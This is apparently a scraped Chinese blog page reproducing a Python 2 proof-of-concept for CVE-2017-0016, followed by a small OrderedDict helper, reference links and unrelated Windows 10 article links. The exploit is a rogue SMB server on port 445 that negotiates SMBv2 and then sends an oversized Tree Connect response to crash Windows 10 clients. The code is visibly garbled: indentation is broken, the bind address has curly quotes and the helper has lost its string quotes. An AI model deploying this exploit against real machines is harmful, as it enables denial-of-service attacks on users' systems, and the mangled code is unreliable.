325                 ("Data",                      ""),
326     ])
327     def calculate(self):
328 
329         ###### SecBlobLen Calc:
330         CalculateSecBlob = str(self.fields["SecBlobTag0"])+str(self.fields["SecBlobTag0Len"])+str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
331 
332         CalculateASN = str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
333 
334                 MechLen = str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
335 
336                 #Packet Struct len
337         self.fields["SecBlobLen"] = struct.pack("<h",len(CalculateSecBlob))
338         self.fields["SecBlobTag0Len"] = struct.pack("<B",len(CalculateASN))
339         self.fields["NegTokenRespLen"] = struct.pack("<B", len(CalculateASN)-2)
340                 self.fields["SecBlobTag3Len"] = struct.pack("<B",len(MechLen))
341                 self.fields["SecBlobOctetLen"] = struct.pack("<B",len(MechLen)-2)
342 
343 class SMB2TreeData(Packet):
344     fields = OrderedDict([
345         ("Len",                   "\\x10\\x00"),
346         ("ShareType",             "\\x02\\x00"),
347         ("ShareFlags",            "\\x30\\x00\\x00\\x00"),
348         ("ShareCapabilities",     "\\x00\\x00\\x00\\x00"),
349         ("AccessMask",            "\\xff\\x01\\x1f\\x01"),   
350         ("Data",                  ""),         
351     ])
352 
353 ##########################################################################
354 class SMB2(SocketServer.BaseRequestHandler):
355      
356     def handle(self):
357         try:
358               self.request.settimeout(1)
359               print "From:", self.client_address
360               data = self.request.recv(1024)
361 
362              ##Negotiate proto answer.
363               if data[8:10] == "\\x72\\x00" and data[4:5] == "\\xff":
364                 head = SMBv2Header(CreditCharge="\\x00\\x00",Credits="\\x01\\x00",PID="\\x00\\x00\\x00\\x00")
365                 t = SMB2NegoAns()
366                 t.calculate()
367                 packet1 = str(head)+str(t)
368                 buffer1 = longueur(packet1)+packet1  
369                 print "[*]Negotiating SMBv2."
370                 self.request.send(buffer1)
371                 data = self.request.recv(1024)
372 
373               if data[16:18] == "\\x00\\x00":
374                 CreditsRequested = data[18:20]
375                 if CreditsRequested == "\\x00\\x00":
376                    CreditsRequested =  "\\x01\\x00"
377                 CreditCharged = data[10:12]
378                 head = SMBv2Header(MessageId=GrabMessageID(data), PID="\\xff\\xfe\\x00\\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
379                 t = SMB2NegoAns(Dialect="\\x02\\x02")
380                 t.calculate()
381                 packet1 = str(head)+str(t)
382                 buffer1 = longueur(packet1)+packet1  
383                 print "[*]Negotiate Protocol SMBv2 packet sent."
384                 self.request.send(buffer1)
385                 data = self.request.recv(1024)
386 
387               #Session More Work to Do
388               if data[16:18] == "\\x01\\x00":
389                 head = SMBv2Header(Cmd="\\x01\\x00", MessageId=GrabMessageID(data), PID="\\xff\\xfe\\x00\\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID="\\x4d\\x00\\x00\\x00\\x00\\x04\\x00\\x00",NTStatus="\\x16\\x00\\x00\\xc0")
390                 t = SMB2Session1Data()
391                 t.calculate()
392                 packet1 = str(head)+str(t)
393                 buffer1 = longueur(packet1)+packet1
394                 print "[*]Session challenge SMBv2 packet sent."
395                 self.request.send(buffer1)
396                 data = self.request.recv(1024)
397 
398               #Session Positive
399               if data[16:18] == "\\x01\\x00" and GrabMessageID(data)[0:1] == "\\x02":
400                 head = SMBv2Header(Cmd="\\x01\\x00", MessageId=GrabMessageID(data), PID="\\xff\\xfe\\x00\\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\\x00\\x00\\x00\\x00", SessionID=GrabSessionID(data))
401                 t = SMB2SessionAcceptData()
402                 t.calculate()
403                 packet1 = str(head)+str(t)
404                 buffer1 = longueur(packet1)+packet1
405                 self.request.send(buffer1)
406                 data = self.request.recv(1024)
407 
408               ## Tree Connect
409               if data[16:18] == "\\x03\\x00":
410                 head = SMBv2Header(Cmd="\\x03\\x00", MessageId=GrabMessageID(data), PID="\\xff\\xfe\\x00\\x00", TID="\\x01\\x00\\x00\\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\\x00\\x00\\x00\\x00", SessionID=GrabSessionID(data))
411                 t = SMB2TreeData(Data="C"*1500)#//BUG
412                 packet1 = str(head)+str(t)
413                 buffer1 = longueur(packet1)+packet1
414                 print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
415                 self.request.send(buffer1)
416                 data = self.request.recv(1024)
417 
418         except Exception:
419            print "Disconnected from", self.client_address
420            pass
421 
422 SocketServer.TCPServer.allow_reuse_address = 1
423 launch = SocketServer.TCPServer((‘‘, 445),SMB2)
424 launch.serve_forever()

   odict.py

  1 from UserDict import DictMixin
  2 
  3 class OrderedDict(dict, DictMixin):
  4 
  5     def __init__(self, *args, **kwds):
  6         if len(args) > 1:
  7             raise TypeError(expected at most 1 arguments, got %d % len(args))
  8         try:
  9             self.__end
 10         except AttributeError:
 11             self.clear()
 12         self.update(*args, **kwds)
 13 
 14     def clear(self):
 15         self.__end = end = []
 16         end += [None, end, end]
 17         self.__map = {} 
 18         dict.clear(self)
 19 
 20     def __setitem__(self, key, value):
 21         if key not in self:
 22             end = self.__end
 23             curr = end[1]
 24             curr[2] = end[1] = self.__map[key] = [key, curr, end]
 25         dict.__setitem__(self, key, value)
 26 
 27     def __delitem__(self, key):
 28         dict.__delitem__(self, key)
 29         key, prev, next = self.__map.pop(key)
 30         prev[2] = next
 31         next[1] = prev
 32 
 33     def __iter__(self):
 34         end = self.__end
 35         curr = end[2]
 36         while curr is not end:
 37             yield curr[0]
 38             curr = curr[2]
 39 
 40     def __reversed__(self):
 41         end = self.__end
 42         curr = end[1]
 43         while curr is not end:
 44             yield curr[0]
 45             curr = curr[1]
 46 
 47     def popitem(self, last=True):
 48         if not self:
 49             raise KeyError(dictionary is empty)
 50         if last:
 51             key = reversed(self).next()
 52         else:
 53             key = iter(self).next()
 54         value = self.pop(key)
 55         return key, value
 56 
 57     def __reduce__(self):
 58         items = [[k, self[k]] for k in self]
 59         tmp = self.__map, self.__end
 60         del self.__map, self.__end
 61         inst_dict = vars(self).copy()
 62         self.__map, self.__end = tmp
 63         if inst_dict:
 64             return (self.__class__, (items,), inst_dict)
 65         return self.__class__, (items,)
 66 
 67     def keys(self):
 68         return list(self)
 69 
 70     setdefault = DictMixin.setdefault
 71     update = DictMixin.update
 72     pop = DictMixin.pop
 73     values = DictMixin.values
 74     items = DictMixin.items
 75     iterkeys = DictMixin.iterkeys
 76     itervalues = DictMixin.itervalues
 77     iteritems = DictMixin.iteritems
 78 
 79     def __repr__(self):
 80         if not self:
 81             return %s() % (self.__class__.__name__,)
 82         return %s(%r) % (self.__class__.__name__, self.items())
 83 
 84     def copy(self):
 85         return self.__class__(self)
 86 
 87     @classmethod
 88     def fromkeys(cls, iterable, value=None):
 89         d = cls()
 90         for key in iterable:
 91             d[key] = value
 92         return d
 93 
 94     def __eq__(self, other):
 95         if isinstance(other, OrderedDict):
 96             return len(self)==len(other) and  97                    min(p==q for p, q in  zip(self.items(), other.items()))
 98         return dict.__eq__(self, other)
 99 
100     def __ne__(self, other):
101         return not self == other
102 
103 
104 if __name__ == __main__:
105     d = OrderedDict([(foo,2),(bar,3),(baz,4),(zot,5),(arrgh,6)])
106     assert [x for x in d] == [foo, bar, baz, zot, arrgh]

 

0x02.参考链接

  Exploit-db:https://www.exploit-db.com/exploits/41222/

  lgandx/GitHub:https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect

以上是关于CVE-2017-0016 Windows 10 SMBv3共享致BSOD POC的主要内容,如果未能解决你的问题,请参考以下文章

微软同步发行Windows 10和Windows 10 Mobile系统更新

Windows 10上的IE 11 VS 10上的Windows 11

Windows 11 即将问世 | Windows 10 和 Windows 11 该如何抉择

如何激活Windows 10 LTSB

微软同步发行Windows 10和Windows 10 Mobile系统更新

windows 10 企业版2016长期服务版怎么激活